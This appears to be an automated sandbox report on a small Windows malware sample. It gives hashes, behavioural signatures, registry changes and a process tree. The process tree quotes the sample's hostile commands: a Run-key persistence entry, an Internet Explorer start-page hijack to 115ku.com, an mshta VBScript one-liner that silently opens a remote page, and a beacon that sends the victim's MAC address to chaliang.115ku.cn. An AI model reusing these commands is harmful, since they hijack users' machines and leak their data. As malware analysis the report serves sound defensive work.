Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
94s -
max time network
168s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
07/01/2024, 19:15
Behavioral task
behavioral1
Sample
ac9268cb2641b313f7460ce40169e59b.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ac9268cb2641b313f7460ce40169e59b.exe
Resource
win10v2004-20231215-en
General
-
Target
ac9268cb2641b313f7460ce40169e59b.exe
-
Size
5KB
-
MD5
ac9268cb2641b313f7460ce40169e59b
-
SHA1
e32b781c7d15cd0e1354edd4e488e2750706e278
-
SHA256
d3aceee88f292e6bc52b4fe8eb9de669fe612e62ed4717ef05aaaf6eea29c569
-
SHA512
7b31c764279a959830c02a65fad81a1bcbfb8e41a6c00dcc8d68a0d6b925d782c73b8474f3e9ed1ec6e31801400886136dca459956e9201c45e83ad14c41d41f
-
SSDEEP
96:vfycZ+ALBd3vJEtPsCZIB2oPRGHzb7v1JydcRxN:ny2tLHR4sCOD8HD117N
Malware Config
Extracted
http://chaliang.115ku.cn/1261/yahooo.htm%22,0%29%28window.close%29
Signatures
-
resource yara_rule behavioral1/memory/1088-0-0x0000000000400000-0x0000000000408000-memory.dmp upx behavioral1/memory/1088-125-0x0000000000400000-0x0000000000408000-memory.dmp upx -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pop = "C:\\Windows\\Registration\\runauto.vbs" reg.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: mshta.exe -
Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\Registration\svchost.bat cmd.exe File created C:\Windows\Registration\runauto.vbs cmd.exe File opened for modification C:\Windows\Registration\runauto.vbs cmd.exe File created C:\Windows\Registration\internet.bat cmd.exe File opened for modification C:\Windows\Registration\r.vbs cmd.exe File opened for modification C:\Windows\Registration\internet.vbs cmd.exe File created C:\Windows\Registration\svchost.bat cmd.exe File opened for modification C:\Windows\Registration\Registration\svchost.bat cmd.exe File created C:\Windows\Registration\internet.vbs cmd.exe File opened for modification C:\Windows\Registration\internet.bat cmd.exe File created C:\Windows\Registration\r.vbs cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 812 ipconfig.exe -
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002213d23592f6d648a137f9bf65c22cfa0000000002000000000010660000000100002000000089c63ecbc3d5960beae54751586b3efc660b6f468274121368536569b425180e000000000e8000000002000020000000edb96ae55e08ad1a0f23384986b64cd9bd2c07af4ce28e3cc99bb909880860ea9000000010a7a258c246f550213cc08b0f9cd80d37345563a83e4393e22af67a48beda1d339b07162a72b357a12785a4dc34784a1e1699b69cca6ea0ddbffb385df2f890d2803af0c9215983b68142de94d233e7abcd5d78201f863a95702137fb5804ea5d561b4fa16e64959d7ff5f1dee705136b36f8792bf9c830a8a5a302a011237474b30b205f2e963d8fa21a68000dcd9f400000008c1238a810b050dca5ebfceeedf3105fbff1ab3a17e8cd0725fc67f2ccf4241f8e566f8c91056b824a4a14994f6419ddd138d6488b847be2cdb067a51c68508f iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main reg.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "410816834" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{2F6ADDE1-AD91-11EE-A508-CEEF1DCBEAFA} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 40c4df059e41da01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{2F687C81-AD91-11EE-A508-CEEF1DCBEAFA} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002213d23592f6d648a137f9bf65c22cfa000000000200000000001066000000010000200000001f321d681ddc59337c1735923a084c8c3217ca28497c879e18214ef11dfb237d000000000e800000000200002000000077241a3661c7b4ca734385b36d2a63905302f8bdc8000e9d2e31c48f6216b22920000000181ef63baa4fa321278b31064ca2c58a339677980e029d033cadbbd50fac55024000000060165479945bbbfe3cca7b39fcf34d6755788e97dde00779092d810ea2af3ab694e72a692abd276813c89e636cd96aaa1e1dc8c0bbd5b1ec1706b55a9ad08a2e iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\SearchScopes iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe -
Modifies Internet Explorer start page 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://www.115ku.com/?1261/" reg.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command regedit.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2628 reg.exe -
Runs .reg file with regedit 2 IoCs
pid Process 2576 regedit.exe 1932 regedit.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2420 iexplore.exe 340 iexplore.exe 2952 iexplore.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 2420 iexplore.exe 2420 iexplore.exe 340 iexplore.exe 340 iexplore.exe 544 IEXPLORE.EXE 544 IEXPLORE.EXE 2900 IEXPLORE.EXE 2900 IEXPLORE.EXE 2952 iexplore.exe 2952 iexplore.exe 1340 IEXPLORE.EXE 1340 IEXPLORE.EXE 1340 IEXPLORE.EXE 1340 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1088 wrote to memory of 1652 1088 ac9268cb2641b313f7460ce40169e59b.exe 28 PID 1088 wrote to memory of 1652 1088 ac9268cb2641b313f7460ce40169e59b.exe 28 PID 1088 wrote to memory of 1652 1088 ac9268cb2641b313f7460ce40169e59b.exe 28 PID 1088 wrote to memory of 1652 1088 ac9268cb2641b313f7460ce40169e59b.exe 28 PID 1652 wrote to memory of 2628 1652 cmd.exe 30 PID 1652 wrote to memory of 2628 1652 cmd.exe 30 PID 1652 wrote to memory of 2628 1652 cmd.exe 30 PID 1652 wrote to memory of 2628 1652 cmd.exe 30 PID 1652 wrote to memory of 2576 1652 cmd.exe 31 PID 1652 wrote to memory of 2576 1652 cmd.exe 31 PID 1652 wrote to memory of 2576 1652 cmd.exe 31 PID 1652 wrote to memory of 2576 1652 cmd.exe 31 PID 1652 wrote to memory of 2600 1652 cmd.exe 32 PID 1652 wrote to memory of 2600 1652 cmd.exe 32 PID 1652 wrote to memory of 2600 1652 cmd.exe 32 PID 1652 wrote to memory of 2600 1652 cmd.exe 32 PID 1652 wrote to memory of 2624 1652 cmd.exe 33 PID 1652 wrote to memory of 2624 1652 cmd.exe 33 PID 1652 wrote to memory of 2624 1652 cmd.exe 33 PID 1652 wrote to memory of 2624 1652 cmd.exe 33 PID 1652 wrote to memory of 1932 1652 cmd.exe 34 PID 1652 wrote to memory of 1932 1652 cmd.exe 34 PID 1652 wrote to memory of 1932 1652 cmd.exe 34 PID 1652 wrote to memory of 1932 1652 cmd.exe 34 PID 1652 wrote to memory of 468 1652 cmd.exe 35 PID 1652 wrote to memory of 468 1652 cmd.exe 35 PID 1652 wrote to memory of 468 1652 cmd.exe 35 PID 1652 wrote to memory of 468 1652 cmd.exe 35 PID 468 wrote to memory of 812 468 cmd.exe 36 PID 468 wrote to memory of 812 468 cmd.exe 36 PID 468 wrote to memory of 812 468 cmd.exe 36 PID 468 wrote to memory of 812 468 cmd.exe 36 PID 468 wrote to memory of 700 468 cmd.exe 37 PID 468 wrote to memory of 700 468 cmd.exe 37 PID 468 wrote to memory of 700 468 cmd.exe 37 PID 468 wrote to memory of 700 468 cmd.exe 37 PID 1652 wrote to memory of 3008 1652 cmd.exe 38 PID 1652 wrote to memory of 3008 1652 cmd.exe 38 PID 1652 wrote to memory of 3008 1652 cmd.exe 38 PID 1652 wrote to memory of 3008 1652 cmd.exe 38 PID 1652 wrote to memory of 2120 1652 cmd.exe 39 PID 1652 wrote to memory of 2120 1652 cmd.exe 39 PID 1652 wrote to memory of 2120 1652 cmd.exe 39 PID 1652 wrote to memory of 2120 1652 cmd.exe 39 PID 3008 wrote to memory of 2420 3008 WScript.exe 40 PID 3008 wrote to memory of 2420 3008 WScript.exe 40 PID 3008 wrote to memory of 2420 3008 WScript.exe 40 PID 3008 wrote to memory of 2420 3008 WScript.exe 40 PID 3008 wrote to memory of 340 3008 WScript.exe 41 PID 3008 wrote to memory of 340 3008 WScript.exe 41 PID 3008 wrote to memory of 340 3008 WScript.exe 41 PID 3008 wrote to memory of 340 3008 WScript.exe 41 PID 2420 wrote to memory of 544 2420 iexplore.exe 42 PID 2420 wrote to memory of 544 2420 iexplore.exe 42 PID 2420 wrote to memory of 544 2420 iexplore.exe 42 PID 2420 wrote to memory of 544 2420 iexplore.exe 42 PID 340 wrote to memory of 2900 340 iexplore.exe 43 PID 340 wrote to memory of 2900 340 iexplore.exe 43 PID 340 wrote to memory of 2900 340 iexplore.exe 43 PID 340 wrote to memory of 2900 340 iexplore.exe 43 PID 2120 wrote to memory of 2952 2120 mshta.exe 44 PID 2120 wrote to memory of 2952 2120 mshta.exe 44 PID 2120 wrote to memory of 2952 2120 mshta.exe 44 PID 2120 wrote to memory of 2952 2120 mshta.exe 44
Processes
-
C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe"C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\259437977.bat2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\SysWOW64\reg.exereg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\Windows\Registration\runauto.vbs /f3⤵
- Adds Run key to start application
- Modifies registry key
PID:2628
-
-
C:\Windows\SysWOW64\regedit.exeRegedit /s tem.reg3⤵
- Modifies registry class
- Runs .reg file with regedit
PID:2576
-
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.115ku.com/?1261/ /f3⤵
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
PID:2600
-
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f3⤵PID:2624
-
-
C:\Windows\SysWOW64\regedit.exeRegedit /s gai.reg3⤵
- Runs .reg file with regedit
PID:1932
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"3⤵
- Suspicious use of WriteProcessMemory
PID:468 -
C:\Windows\SysWOW64\ipconfig.exeipconfig /all4⤵
- Gathers network information
PID:812
-
-
C:\Windows\SysWOW64\findstr.exefindstr /c:"Physical Address"4⤵PID:700
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Windows\Registration\r.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=126105234⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2420 CREDAT:275457 /prefetch:25⤵
- Suspicious use of SetWindowsHookEx
PID:544
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/zongtai/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=126105234⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:340 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:340 CREDAT:275457 /prefetch:25⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2900
-
-
-
-
C:\Windows\SysWOW64\mshta.exemshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://chaliang.115ku.cn/1261/yahooo.htm",0)(window.close)3⤵
- Enumerates connected drives
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/yahooo.htm4⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2952 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2952 CREDAT:275457 /prefetch:25⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1340
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD54d67fd9b3cbd3e765df8c1e3c2968482
SHA11751d701f37a17ce1612881ea312db3a74730700
SHA256d941777f54c69a3ed859dbc4fe179ff48a0ad43d15ad7f1a511d17ec015dcd2c
SHA5129a13d54d09afdf5123c16c9dd0fff932e293945c01738ca6c8a30f818813d41f83f1d4e22eeb15b59b8cdd4dce106c36191a5e1d29f7329e0fbbe6a6525a8645
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5bbaa15cd306f624648e5cf42c02d6c65
SHA1a6ee0201ae0d949a4841e6d317a07944f0c472ad
SHA25650dbe7f238ac941903e9e744145acd2141452e7653711b439f8a041b92a95752
SHA512878ffd8e70d58a1dbb70a7091445e9a06198d04d07ecfd9721b119450676053c46b850f1f43f7d37b0020f03aa39389cb3acd047e64dfac418a9c32ab6a55465
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5182b49c75ad427c0a976edb2750fb44d
SHA11b1575585a7919056c5e0b68510fd3a336e50d1e
SHA25668ea6c10f9e30580a91164364df98397f73fbcb036b89d18778cd7bb563b480d
SHA5122362cf17427e052995695ceda6f4fb0496c923849efa98881d4b2cf52203e166a583e5e749fad92c9bb19cc1aacfbd881c4d9bef034ea78c0f73b04b512d2b2a
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5a30b506f0473a2e62d6ce6bfeced4c75
SHA1d5aa6dc7f4f5981b55c48a30bbd832db1e785ac4
SHA256077a13f4ce009e6a9a4183e34a4d5d482077126fc1a9692581dee634c583002b
SHA512873e83ed5d47a5b6d33d95cd395f399217698d6c56cd268b4e96919232e637a9b4374a85d993cb6828e94e7057373061673760d1c13ea8dc2d833cd1cef20c5f
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5ee4d1a9361bd37fdc4c9d64a26344114
SHA1cd174253794b08626470611116b61d85d468919c
SHA2564d386fbcef0d340df806039c6984ec2d42c7477e14c49dd59ebc335aca21041e
SHA5124320897d03ab569a6812546a1a70793d7909bf9664fe498f14341d1d5125d395fc1aced1fab46bfcea6000891d37eda9deeda9bfe7b913c00adffab02415f2d2
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD50151f847044527a12f2e38666419ccd8
SHA1014c562877cfdcb640d2694ce4d67e33c451f948
SHA2568f5e61864c59bc653f586803581c36c375fb445bdd3aa6671a575c35fba698f4
SHA5121efec1650ecaaff1ce1a255087866d00ec90893cb7866b771c205941fddf4dcaf329da739649ba22fc8ee739dbd7916db801cd9f58b684bcb5ee877b25d0e742
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD579f7a9df70a236d0d60498aa7f78e20a
SHA146e2ee8fb1af526a28eef4b13f03a9e3bcdeb39d
SHA2561be02e0703bc2eae194edbc9b2453c708f58b27f839463045087a2dae28ed98b
SHA512d665e9ad34e2696b5a50bc3eee792c02ab8d9e00e31adfba4e6bb8929c09e49f277982e306c9b203249a575a5501beb0acdf58c337a336b69919311f4d40688c
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD57c7702c86ea439d2d6c4756c9b9a6e6c
SHA15eb7fd5867571feebe0058aa3439d20ec8a9d933
SHA256f5b14b2d35171fc544dc7131062eb16d689906ddc589cc99d10f7278c94717da
SHA51278bd95bf47a64becec5215d13e480ad6fbb833e175e1d78e497040df8ee8422080e81fb0cc2b00ca5b396b197f6f59cfbf8cddc7a4489400e0e34cbadab33ed4
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD59d5d405cfabaa173ca934eb98e894b54
SHA12fcc21383d739f0a5eb256ec6f83a7e2f0da7d60
SHA256195e8ff07baa2daddda36b6a6719573ecc1d29bbd1d4a0c06fb5f0d2c000f6e2
SHA512fed13e3d77e1ea657e61ef91ab732831d677f2382d65637e94506c77554ede962ed290dbb15baf2376a0e3567f0cafb5faafa7aedd28cd730caa31cbf7386378
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5be69ad768c9b0cdbac5752013def8dea
SHA100c1a2ed71fbf1d1dc470c32a37c59f6b124cff7
SHA25618bed2603c5b25469a068991ca5de70c620acd7bc67126b6b803b565945533d2
SHA5128f78313c5f8d83f8aa8e9188f08f4ab5febdbb7b2082bcad4ba4c6e97e6199deaacf3cfbfc97a7218270afa3ef65254dfd86ff8cff189009985c2aba12775308
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD50be3d42c8cf0804cfd6b0f4f7d2ff934
SHA1d1325cbd047ed7b884d789b49aadea685c47db2a
SHA256911edcdde6f172b80675874e44f33223fa6e05b9350f19d22ca8abaf8a905f1b
SHA5123f6f2a79d9630d012e3e782293ee5206ea2782ae02035ed739d797168db0cbc6d8056f94179b56cc2054586b1941dd7abd0dae5dea653a1c0ac6ce5523951e02
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5558fbca521f57b4d2b28f3eca5ac7435
SHA1f0981b49ef9f9a55f001a4aab63c1567cb6fbdde
SHA256a690faabe6574703a9b91bb894b08cd717659f523fae428cf5b4bbabc6b4e156
SHA5121096ebc90a96ff080f6c95fa337aa1078d43774f63e91a68a01b9346e54c765af09971e8c8cd295d97582164183422a44d1e74613c0cdf4ed6e6c1aef7a2a29d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5285178bf96a1f257778ea73321f43a62
